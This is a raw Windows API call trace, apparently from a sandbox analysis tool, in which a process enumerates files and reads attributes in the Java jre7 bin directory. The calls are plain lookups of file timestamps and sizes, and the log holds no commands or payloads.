	[0054.997] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\JdbcOdbc.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jdbcodbc.dll"), fInfoLevelId=0x0, lpFileInformation=0x126023c8 | out: lpFileInformation=0x126023c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8)) returned 1
	[0054.997] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\WindowsAccessBridge-32.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\windowsaccessbridge-32.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602418 | out: lpFileInformation=0x12602418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x177a8)) returned 1
	[0054.998] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\awt.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\awt.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602468 | out: lpFileInformation=0x12602468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11e7a8)) returned 1
	[0054.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\axbridge.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\axbridge.dll"), fInfoLevelId=0x0, lpFileInformation=0x126024b8 | out: lpFileInformation=0x126024b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255a8)) returned 1
	[0054.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client"), fInfoLevelId=0x0, lpFileInformation=0x12602508 | out: lpFileInformation=0x12602508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.999] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.000] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.000] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.000] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0x76eb12e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76ed7440, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1
	[0055.000] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3665a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1
	[0055.000] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1
	[0055.000] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.000] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.000] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt"), fInfoLevelId=0x0, lpFileInformation=0x12602648 | out: lpFileInformation=0x12602648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a7)) returned 1
	[0055.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\classes.jsa"), fInfoLevelId=0x0, lpFileInformation=0x12602698 | out: lpFileInformation=0x12602698*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0x76eb12e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76ed7440, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd20000)) returned 1
	[0055.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\jvm.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\jvm.dll"), fInfoLevelId=0x0, lpFileInformation=0x126026e8 | out: lpFileInformation=0x126026e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3665a8)) returned 1
	[0055.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dcpr.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dcpr.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602738 | out: lpFileInformation=0x12602738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22ba8)) returned 1
	[0055.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\decora-sse.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\decora-sse.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602788 | out: lpFileInformation=0x12602788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf5a8)) returned 1
	[0055.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\deploy.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\deploy.dll"), fInfoLevelId=0x0, lpFileInformation=0x126027d8 | out: lpFileInformation=0x126027d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x58fa8)) returned 1
	[0055.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dt_shmem.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dt_shmem.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602828 | out: lpFileInformation=0x12602828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8)) returned 1
	[0055.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dt_socket.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dt_socket.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602878 | out: lpFileInformation=0x12602878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55a8)) returned 1
	[0055.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dtplugin"), fInfoLevelId=0x0, lpFileInformation=0x126028c8 | out: lpFileInformation=0x126028c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dtplugin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.004] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.004] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.004] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc25a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1
	[0055.004] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1
	[0055.004] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.004] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dtplugin\\deployjava1.dll"), fInfoLevelId=0x0, lpFileInformation=0x126029b8 | out: lpFileInformation=0x126029b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc25a8)) returned 1
	[0055.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dtplugin\\npdeployjava1.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602a08 | out: lpFileInformation=0x12602a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8)) returned 1
	[0055.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\eula.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\eula.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602a58 | out: lpFileInformation=0x12602a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a9a8)) returned 1
	[0055.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\fontmanager.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\fontmanager.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602aa8 | out: lpFileInformation=0x12602aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34fa8)) returned 1
	[0055.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\fxplugins.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\fxplugins.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602af8 | out: lpFileInformation=0x12602af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x263a8)) returned 1
	[0055.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\glass.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\glass.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602b48 | out: lpFileInformation=0x12602b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26fa8)) returned 1
	[0055.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\glib-lite.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\glib-lite.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602b98 | out: lpFileInformation=0x12602b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63ba8)) returned 1
	[0055.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\gstreamer-lite.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602be8 | out: lpFileInformation=0x12602be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7a8)) returned 1
	[0055.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\hprof.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\hprof.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602c38 | out: lpFileInformation=0x12602c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x205a8)) returned 1
	[0055.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\installer.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\installer.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602c88 | out: lpFileInformation=0x12602c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x32ba0)) returned 1
	[0055.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\instrument.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\instrument.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602cd8 | out: lpFileInformation=0x12602cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1a8)) returned 1
	[0055.008] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\j2pcsc.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\j2pcsc.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602d28 | out: lpFileInformation=0x12602d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8)) returned 1
	[0055.008] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\j2pkcs11.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\j2pkcs11.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602d78 | out: lpFileInformation=0x12602d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc7a8)) returned 1
	[0055.008] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jaas_nt.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jaas_nt.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602dc8 | out: lpFileInformation=0x12602dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4da8)) returned 1
	[0055.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jabswitch.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jabswitch.exe"), fInfoLevelId=0x0, lpFileInformation=0x12602e18 | out: lpFileInformation=0x12602e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbba8)) returned 1
	[0055.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\java-rmi.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\java-rmi.exe"), fInfoLevelId=0x0, lpFileInformation=0x12602e68 | out: lpFileInformation=0x12602e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0055.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\java.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\java.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602eb8 | out: lpFileInformation=0x12602eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a8)) returned 1
